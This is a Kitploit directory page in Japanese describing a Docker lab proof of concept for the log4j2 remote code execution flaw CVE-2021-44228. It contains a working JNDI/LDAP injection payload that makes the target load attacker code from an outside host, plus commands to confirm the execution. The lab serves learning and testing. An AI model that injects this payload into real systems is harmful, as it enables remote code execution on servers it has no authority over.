Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
log4j-rce-CVE-2021-44228 — log4j2 CVE-2021-44228 POC | Kitploit
ツール/GitHubGitHub/1hakusai1/log4j-rce-cve-2021-44228
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHub1hakusai1/log4j-rce-cve-2021-44228

log4j-rce-CVE-2021-44228

log4j2 CVE-2021-44228 POC

リポジトリを見る
4年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

概要

log4j2のリモートコード実行の脆弱性(CVE-2021-44228)を実際に試すためのプロジェクトです。

コンテナを立ち上げる

root@kitploit:~
docker-compose up

log4jコンテナは起動してから使えるようになるまで少し時間がかかります。以下のコマンドで進行状況を確認してください。

root@kitploit:~
docker logs -f log4j

Server started: Listening on port 8081と表示されたら準備完了です。

攻撃前の状態の確認

log4jコンテナの/rootディレクトリを確認します。

root@kitploit:~
docker exec log4j ls /root

初期状態では、workディレクトリのみがある状態です。

実際に攻撃を行う

http://localhost:8081/にアクセスします。フォームに入力された名前を、画面とログに出力するだけのシンプルなアプリケーションです。

フォームに${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com}を入力し、送信します。

log4jコンテナの/rootディレクトリを確認します。

root@kitploit:~
docker exec log4j ls /root

攻撃者が用意したコードが実行され、先ほどまで存在しなかったファイルが作られているはずです。タイムスタンプをファイル名にしているので、攻撃を行った回数だけ新規ファイルが増えていきます。

ldapコンテナのログを確認すると、log4jコンテナからSEARCHリクエストが来ていることが確認できます。

root@kitploit:~
docker logs ldap

webコンテナのtomcatのログを確認すると、log4jコンテナからExploit.class(攻撃に使用するクラス)に対するアクセスが来ていることが確認できます。

root@kitploit:~
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*
ツールをダウンロード